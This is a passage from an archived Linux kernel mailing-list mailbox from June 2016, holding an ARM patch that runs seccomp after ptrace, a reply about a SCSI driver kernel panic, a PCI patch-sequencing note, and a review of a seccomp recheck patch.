	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	James Hogan <james.hogan@imgtec.com>,
	Jeff Dike <jdike@addtoit.com>, linux-arch@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	"Maciej W. Rozycki" <macro@imgtec.com>,
	Mark Rutland <mark.rutland@arm.com>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Paul Mackerras <paulus@samba.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	Richard Weinberger <richard@no
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 09 23:05:00 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bB78B-0001Ha-Ue
	for glk-linux-kernel-3@plane.gmane.org; Thu, 09 Jun 2016 23:04:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752538AbcFIVDy (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 9 Jun 2016 17:03:54 -0400
Original-Received: from mail-pf0-f171.google.com ([209.85.192.171]:35896 "EHLO
	mail-pf0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752099AbcFIVCe (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 9 Jun 2016 17:02:34 -0400
Original-Received: by mail-pf0-f171.google.com with SMTP id t190so16329899pfb.3
        for <linux-kernel@vger.kernel.org>; Thu, 09 Jun 2016 14:02:34 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=hsne7rjptpK2v5g2LzbrLT5o1W9sSkv6Twx8ZgIqYAA=;
        b=Mdt5E4Imll7KXY0i/yXM6cWPT0062qz75ej8IxKH2fSyyd8oNS1EVlNh2pPjqnpnt2
         y6fxJa9pHFNnJfNxb6bOuSqXYzjyGDKDpdM111o3LINQvnfhR1npuC340cZdTd9qm9OC
         IBoKwuYf1bfTu4sQqM7kNLoXzPJakN4vrW1tU=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=hsne7rjptpK2v5g2LzbrLT5o1W9sSkv6Twx8ZgIqYAA=;
        b=UWBcOpXojqCCKg49i6Mlk3WqeuMlqn7ubwsxw2sBnxwOKpTW8T7rTm616D15UFSFTL
         ai/0dXcRBcoc+iOmTQ8CQ7nPbiKbEcmb6+0BEhHZiokLuHfo5rz/Vv778S8IGziXNik1
         SUfOloA2TmuQvs9+u9bsHdT6w47AIKyvDsPHh5qYsQz4B6Bzr0sP0j2aMEbWOMnjBp+3
         QgMjuuv0EHrgEXEx3sc4Poo9ohcLqOT5Ue6x5kLKkYXUHAJqvfwi6K/KbPcw2aHGpoek
         s5pWZxczcNYOxFGNNlU0NpLZ4zrRV45D+rdFU4w5+tA1Re+dskqCaXmVJRIvmwBEh10g
         VyaQ==
X-Gm-Message-State: ALyK8tIcJeMSrXAejL8DI9NrFzIhJXdhjMxckWI+4SqmAaeZfRJYli8szDT5Q3LxL3XFPrkL
X-Received: by 10.98.8.91 with SMTP id c88mr6448526pfd.57.1465506148864;
        Thu, 09 Jun 2016 14:02:28 -0700 (PDT)
Original-Received: from www.outflux.net ([2002:ada4:7085:0:ae16:2dff:fe07:4fb6])
        by smtp.gmail.com with ESMTPSA id zn12sm12215972pab.14.2016.06.09.14.02.26
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Jun 2016 14:02:27 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1465506124-21866-1-git-send-email-keescook@chromium.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2240096 gmane.linux.ports.arm.kernel:505747 gmane.linux.kernel.cross-arch:32366 gmane.linux.ports.mips.general:55139 gmane.linux.ports.parisc:26868 gmane.linux.ports.ppc64.devel:128392 gmane.linux.uml.devel:15897
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2240096>

Close the hole where ptrace can change a syscall out from under seccomp.

Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: Russell King <linux@armlinux.org.uk>
Cc: linux-arm-kernel@lists.infradead.org
---
 arch/arm/kernel/ptrace.c | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/arch/arm/kernel/ptrace.c b/arch/arm/kernel/ptrace.c
index ad5e90ab165c..dc7b372872ff 100644
--- a/arch/arm/kernel/ptrace.c
+++ b/arch/arm/kernel/ptrace.c
@@ -932,18 +932,19 @@ asmlinkage int syscall_trace_enter(struct pt_regs *regs, int scno)
 {
 	current_thread_info()->syscall = scno;
 
-	/* Do the secure computing check first; failures should be fast. */
+	if (test_thread_flag(TIF_SYSCALL_TRACE))
+		tracehook_report_syscall(regs, PTRACE_SYSCALL_ENTER);
+
+	/* Do seccomp after ptrace; syscall may have changed. */
 #ifdef CONFIG_HAVE_ARCH_SECCOMP_FILTER
 	if (secure_computing(NULL) == -1)
 		return -1;
 #else
 	/* XXX: remove this once OABI gets fixed */
-	secure_computing_strict(scno);
+	secure_computing_strict(current_thread_info()->syscall);
 #endif
 
-	if (test_thread_flag(TIF_SYSCALL_TRACE))
-		tracehook_report_syscall(regs, PTRACE_SYSCALL_ENTER);
-
+	/* Tracer or seccomp may have changed syscall. */
 	scno = current_thread_info()->syscall;
 
 	if (test_thread_flag(TIF_SYSCALL_TRACEPOINT))
-- 
2.7.4



From - Thu Nov 08 21:39:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: kernel BUG in drivers/scsi/53c700.c:1129
Date: Thu, 09 Jun 2016 15:23:22 -0700
Lines: 77
Approved: news@gmane.org
Message-ID: <1465511002.2259.19.camel@HansenPartnership.com>
References: <5759C524.2030009@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465511018 24981 80.91.229.3 (9 Jun 2016 22:23:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 22:23:38 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	linux-scsi <linux-scsi@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 10 00:23:28 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bB8MK-0007JZ-DJ
	for glpp-linux-parisc@plane.gmane.org; Fri, 10 Jun 2016 00:23:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751942AbcFIWX1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jun 2016 18:23:27 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51284 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751717AbcFIWX0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jun 2016 18:23:26 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 2BE4E8EE148;
	Thu,  9 Jun 2016 15:23:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1465511004;
	bh=LCXA9rsSgRRRlMUCpcmTitCRwHO5MytnsuU0rBuoTNg=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=beFc4c1znLFNRPRRanLs+Q8uXrNLIjq5OrLx2/pDsbCxtWH9DoVUjqoPVAaf0HiBK
	 tSnDxEIfZytb921o9GKnqXwbD1lMh29sW0wFmNsSTzHDccazwK5nCSFmb3rFyUCudO
	 0akjm7kVsFhESbdeCCfa5chrlFuToUmgQ5HMLuFA=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id XKmnOuh_3lFH; Thu,  9 Jun 2016 15:23:24 -0700 (PDT)
Original-Received: from [153.66.254.194] (unknown [50.46.144.141])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id ADABB8EE0C3;
	Thu,  9 Jun 2016 15:23:23 -0700 (PDT)
In-Reply-To: <5759C524.2030009@gmx.de>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26869 gmane.linux.scsi:114242
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26869>

On Thu, 2016-06-09 at 21:36 +0200, Helge Deller wrote:
> Hi James,
> 
> I just tried Debian kernel 4.6.1-1 on my historic 715/64 machine, and it
> ran into this  BUG() in the LASI scsi driver:
> 
>  scsi 0:0:6:0: no saved request for untagged cmd
> 
> Any idea?
> 
> Helge
>  
> [    0.000000] Linux version 4.6.0-1-parisc (debian-kernel@lists.debian.org) (gcc version 5.4.0 20160603 (Debian 5.4.0-3) ) #1 Debian 4.6.1-1 (2016-06-06)
> ...
> [    0.000000] Determining PDC firmware type: Snake.
> [    0.000000] model 000060a0 00000481 00000000 00000000 773c7d2c 00000000 00000004 00000072 00000072
> [    0.000000] vers  0000000c
> [    0.000000] model 9000/715
> [    0.000000] Total Memory: 160 MB
> ...
> [   43.180000] SCSI subsystem initialized
> [   45.076000] 53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
> [   45.156000] scsi0: 53c710 rev 2 
> [   46.204000] scsi host0: LASI SCSI 53c700
> [   58.268000] scsi 0:0:6:0: no saved request for untagged cmd
> [   58.336000] ------------[ cut here ]------------
> [   58.392000] kernel BUG at /build/linux-XAODSw/linux-4.6.1/drivers/scsi/53c700.c:1129!
> [   58.484000] CPU: 0 PID: 0 Comm: swapper Not tainted 4.6.0-1-parisc #1 Debian 4.6.1-1
> [   58.580000] task: 1083cdd8 ti: 107b1000 task.ti: 107b1000
> [   58.644000] 
> [   58.660000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [   58.716000] PSW: 00000000000001001111111100001110 Not tainted
> [   58.788000] r00-03  0004ff0e 0084e388 00a8ea8c 107ba400
> [   58.848000] r04-07  00000000 00000000 15b88cc0 00000006
> [   58.912000] r08-11  198ca400 000000ff 00000020 00000000
> [   58.976000] r12-15  000000ff 00001003 10801020 00000001
> [   59.036000] r16-19  107b1240 00000002 000000ff 00000001
> [   59.100000] r20-23  00000001 0000000e 0084f388 00000000
> [   59.164000] r24-27  107ba500 0083b540 1021a7a4 107b5020
> [   59.224000] r28-31  00000000 00000040 107ba480 104d52bc
> [   59.288000] sr00-03  00000000 00000000 00000000 0000000d
> [   59.352000] sr04-07  00000000 00000000 00000000 00000000
> [   59.416000] 
> [   59.432000] IASQ: 00000000 00000000 IAOQ: 00a8ea8c 00a8ea90
> [   59.500000]  IIR: 03ffe01f    ISR: 0000000d  IOR: 00a8ea90
> [   59.564000]  CPU:        0   CR30: 107b1000 CR31: f00effff
> [   59.632000]  ORIG_R28: 10855e80
> [   59.668000]  IAOQ[0]: process_script_interrupt+0x13ec/0x16a4 [53c700]
> [   59.748000]  IAOQ[1]: process_script_interrupt+0x13f0/0x16a4 [53c700]
> [   59.824000]  RP(r2): process_script_interrupt+0x13ec/0x16a4 [53c700]
> [   59.900000] Backtrace:
> [   59.928000]  [<00a8ea8c>] process_script_interrupt+0x13ec/0x16a4 [53c700]
> [   60.012000] 
> [   60.028000] CPU: 0 PID: 0 Comm: swapper Not tainted 4.6.0-1-parisc #1 Debian 4.6.1-1
> [   60.120000] Backtrace:
> [   60.148000]  [<1015bffc>] show_stack+0x3c/0x50
> [   60.204000]  [<10425d40>] dump_stack+0x28/0x38
> [   60.256000]  [<1015c180>] die_if_kernel+0x134/0x20c
> [   60.316000]  [<1015cd34>] handle_interruption+0x804/0x828
> [   60.380000] 
> [   60.400000] Kernel panic - not syncing: Fatal exception in interrupt
> [   60.400000] ---[ end Kernel panic - not syncing: Fatal exception in interrupt

It looks like either an unsolicited reselection or possibly a spurious
interrupt left over from something.  Can you define NCR_700_DEBUG in
drivers/scsi/53c700.h and see what it says?

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [PATCH v12 01/15] PCI: Let pci_mmap_page_range() take extra
 resource pointer
Date: Thu, 9 Jun 2016 15:36:35 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <CAE9FiQUNZ9xShfCHFvKobOJQ4zBfOrq_s=uYQAcR+YguigNjrQ@mail.gmail.com>
References: <20160604000642.28162-1-yinghai@kernel.org> <20160604000642.28162-2-yinghai@kernel.org>
 <20160608210322.GA4248@localhost> <CAE9FiQXPmG6UYYGHG52_i8vaBJ5yPm6Z4Zfx_BhQxVhyWC5fnw@mail.gmail.com>
 <CAE9FiQWw0pUB=1iDrX_1qyMFAUGQidSaV7CPc0aNb2CzPB-fZw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1465511812 3892 80.91.229.3 (9 Jun 2016 22:36:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 22:36:52 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	David Miller <davem@davemloft.net>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Wei Yang <weiyang@linux.vnet.ibm.com>,
	Khalid Aziz <khalid.aziz@oracle.com>,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>, linux-cris-kernel@axis.com,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	linux-am33-list@redhat.com, linux-parisc@vger.kernel.org,
	linuxppc-dev <linuxppc-dev@lists.ozlabs.org>,
	linux-sh@vger.kernel.org,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	linux-xtensa@linux-xtensa.org
To: Bjorn Helgaas <helgaas@kernel.org>
Original-X-From: sparclinux-owner@vger.kernel.org Fri Jun 10 00:36:46 2016
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1bB8Z8-0001Pe-Qv
	for lnx-sparclinux@plane.gmane.org; Fri, 10 Jun 2016 00:36:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932077AbcFIWgl (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Thu, 9 Jun 2016 18:36:41 -0400
Original-Received: from mail-vk0-f65.google.com ([209.85.213.65]:33708 "EHLO
	mail-vk0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751248AbcFIWgi (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Thu, 9 Jun 2016 18:36:38 -0400
Original-Received: by mail-vk0-f65.google.com with SMTP id z65so8634917vka.0;
        Thu, 09 Jun 2016 15:36:37 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=uzhfRY6wmIeGAgc7fm0h+K3W90FAiccozhvWM7hWYL8=;
        b=ZVxmQxPgSWVr+YPwENH2TjXInN1R2cSmopjsZS/UavLm+O7RL8bDGwoS1OpD+I0ce8
         RVOUZWcQAK0k4BgNbQuIVLxHeHWHMUrdTqF8WOrtGk0wPfJNlsoM7djZLvjRTfZKiiVv
         9Qw5RdT8F4P08ScHnzMR84G79Vw1peszTUmUyxUBFkhRiqMelRMgChwqlu+ElM99RXYX
         0iwW+eryaQjHaU/nX8BvE7p1lPboHw3iXQVcvkxZrp3hyPYXzVCSGQ55sdAxKDlwso8D
         yN1Vy1jzWJoehJZxnh6fBz4v/iqNlmTRj3bjR2HZ6f+jAK4Hi5jJrOIeNsPzaoa3iJP0
         jmFQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=uzhfRY6wmIeGAgc7fm0h+K3W90FAiccozhvWM7hWYL8=;
        b=lXeMggS/ekav9izmjB6LddtHAJZNBvyendoq5/6T23P0xozgMJlKisvtBpW5Bs+X6X
         +veAM+oSQObMVL4lTuOyg2RNwa8WNCPmychWxqtcBzuEIA+X6vKrOG02+Szmm3F0gAQu
         TtE6AW+GQdsY4vfVDE4m92CzImM9DKDvEUz9Hy+jN7wyE6RM+5MCQxtXMQIOD3tta3ny
         vmF3Qd8LZmQT0gpvR28l/TpMEtFop7a66Qcb5Aw7AThkzjQuQG/n9XPM1Qa/EEvgoAc3
         WGeqcE3i4t+w7GHy4Sn/9ru0+pvVNEOm29HRH0rX/AfseyiE9ck//n0cHw/PIoh++cvg
         v/fg==
X-Gm-Message-State: ALyK8tKqMH9HlJoRYPC7tMxoRgj30Qq9YeAvHCX6iXnSS10e420nlVaK3YTvH01eH3jNNsRqVUQSM7vWws3zOQ==
X-Received: by 10.176.0.145 with SMTP id 17mr5382649uaj.103.1465511796956;
 Thu, 09 Jun 2016 15:36:36 -0700 (PDT)
Original-Received: by 10.103.81.11 with HTTP; Thu, 9 Jun 2016 15:36:35 -0700 (PDT)
In-Reply-To: <CAE9FiQWw0pUB=1iDrX_1qyMFAUGQidSaV7CPc0aNb2CzPB-fZw@mail.gmail.com>
X-Google-Sender-Auth: aUhhfSGFzPGPBgpOiPGl2btal5k
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:23059 gmane.linux.kernel.pci:52518 gmane.linux.kernel:2240353 gmane.linux.ports.arm.kernel:505774 gmane.linux.ports.ia64:26869 gmane.linux.ports.mips.general:55168 gmane.linux.ports.parisc:26870 gmane.linux.ports.ppc64.devel:128394 gmane.linux.ports.sh.devel:54183
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/23059>

On Wed, Jun 8, 2016 at 5:00 PM, Yinghai Lu <yinghai@kernel.org> wrote:
> On Wed, Jun 8, 2016 at 3:35 PM, Yinghai Lu <yinghai@kernel.org> wrote:
>
>> At the same time, can you kill __pci_mmap_set_pgprot() for powerpc.
>
> Can you please put your two patches and this attached one into to pci/next?
>
> Then I could send updated PCI: Let pci_mmap_page_range() take resource address.

Thanks for putting those patches in pci/resource branch.

I just re post updated for second patch.

[v12.update2,02/15] PCI: Let pci_mmap_page_range() take resource address
http://patchwork.ozlabs.org/patch/633399/

And the [v12 01/15] is not needed anymore.

patch3 to patch15 should still can be applied to pci/resource without problem.

Thanks

Yinghai
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@amacapital.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.uml.devel
Subject: Re: [PATCH 05/14] seccomp: recheck the syscall after RET_TRACE
Date: Thu, 9 Jun 2016 15:46:10 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <CALCETrUsqr3YbD=5mA9mRmgYqiHeEoLpWi-teyexUo_jR1BaFA@mail.gmail.com>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org> <1465506124-21866-6-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1465512413 12901 80.91.229.3 (9 Jun 2016 22:46:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 22:46:53 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Andy Lutomirski <luto@kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	James Hogan <james.hogan@imgtec.com>,
	Jeff Dike <jdike@addtoit.com>,
	linux-arch <linux-arch@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	Linux MIPS Mailing List <linux-mips@linux-mips.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	"Maciej W. Rozycki" <macro@imgtec.com>,
	Mark Rutland <mark.rutland@arm.com>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Michael Ellerman <mpe@ellerman.id.au>,
To: Kees Cook <keescook@chromium.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 10 00:46:49 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bB8iu-0001eF-VH
	for glpp-linux-parisc@plane.gmane.org; Fri, 10 Jun 2016 00:46:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752898AbcFIWqf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jun 2016 18:46:35 -0400
Original-Received: from mail-oi0-f51.google.com ([209.85.218.51]:35571 "EHLO
	mail-oi0-f51.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751970AbcFIWqb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jun 2016 18:46:31 -0400
Original-Received: by mail-oi0-f51.google.com with SMTP id w5so7731645oib.2
        for <linux-parisc@vger.kernel.org>; Thu, 09 Jun 2016 15:46:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=amacapital-net.20150623.gappssmtp.com; s=20150623;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=aoHCH3fie6sfbrCFxHCvFYiv3N9SppmNvsd1hUGqP9o=;
        b=fyB8JNBsY79Tr5scs5Vz8+U5WJ9lmjjzLgltrZuwCtT6sq+LgLqqZXAqPdwep/1ysw
         M98ITUKHRXdq/s5jrXCQVYVwuDNPL+IXUZYUJbnJ5MPSmLinBzGjCmGbXVKIDsHgTcdC
         DEHvOzEzbmUv/JM8zW45dCIFd0APheZ5/0zzbAhPSFU0xC7cCF64A28E02vw9LtSoCNa
         nQKj5RrcO/DZf/uXhSkLx5yHBTi9vbZwBeC9oSaqRG/dmblrJLnHY+/jC8/4R2IC0gOf
         j3i1mr0E8PPWmeki1VQtlVnFvl7z0F8wSaKhurmiBzmWq+G6LLokj3znaWF9qHaFm4As
         Hmsw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=aoHCH3fie6sfbrCFxHCvFYiv3N9SppmNvsd1hUGqP9o=;
        b=YSQSdw+3J8+Tk3uQkkA2ZtMWUnlThv/tbhw3AyjmQXTRXHHu3imuAbhI2RQP5KqhvD
         DbeVvzDqEagGKhi73Th31UbPjYOsTtujjhh9L8xoLRFrmNfuh9Sr1FqaeC/ewZyqAomf
         W6z+ScjhOGTrbOUlrG4pAuYi1kC41mF+7jWVg44aqxUnyXfazndw8UkNf0OiEgYmPw6K
         mbLTxVN3yCjrd/t7gD2vvHhD9OqCWGFP0YH0szgLkl3pxJokugus8tjvJQFf6KihhLcZ
         z8MruarTfHjt50p3+uDkzHMpjAWMO24wb7AHfCi1gROYVRcvqOIcds/U15xv5CkugbvQ
         h9mg==
X-Gm-Message-State: ALyK8tJ58AnBb4xPhJ11VJ+XHR/DUyALXVfTBqsoNrj4rzMRrblJI1Ic+yRA1q2tpL7BKfcHETvQd0wRRosYV6yV
X-Received: by 10.202.48.18 with SMTP id w18mr6057472oiw.61.1465512390172;
 Thu, 09 Jun 2016 15:46:30 -0700 (PDT)
Original-Received: by 10.202.199.148 with HTTP; Thu, 9 Jun 2016 15:46:10 -0700 (PDT)
In-Reply-To: <1465506124-21866-6-git-send-email-keescook@chromium.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26871 gmane.linux.kernel:2240364 gmane.linux.kernel.cross-arch:32368 gmane.linux.ports.arm.kernel:505777 gmane.linux.ports.mips.general:55169 gmane.linux.ports.ppc64.devel:128395 gmane.linux.uml.devel:15898
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26871>

On Thu, Jun 9, 2016 at 2:01 PM, Kees Cook <keescook@chromium.org> wrote:
> When RET_TRACE triggers, a tracer may change a syscall into something that
> should be filtered by seccomp. This re-runs seccomp after a trace event
> to make sure things continue to pass.
>
> Signed-off-by: Kees Cook <keescook@chromium.org>
> Cc: Andy Lutomirski <luto@kernel.org>
> ---
>  kernel/seccomp.c | 21 ++++++++++++++++++---
>  1 file changed, 18 insertions(+), 3 deletions(-)
>
> diff --git a/kernel/seccomp.c b/kernel/seccomp.c
> index 14a37d71b612..54d15eb2b701 100644
> --- a/kernel/seccomp.c
> +++ b/kernel/seccomp.c
> @@ -556,7 +556,8 @@ void secure_computing_strict(int this_syscall)
>  #else
>
>  #ifdef CONFIG_SECCOMP_FILTER
> -static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd)
> +static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd,
> +                           const bool recheck_after_trace)

This patch looks good with one minor nit: I read this as "pass true if
you want to recheck after trace", which is exactly the opposite of how
it works.

--Andy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@amacapital.net>
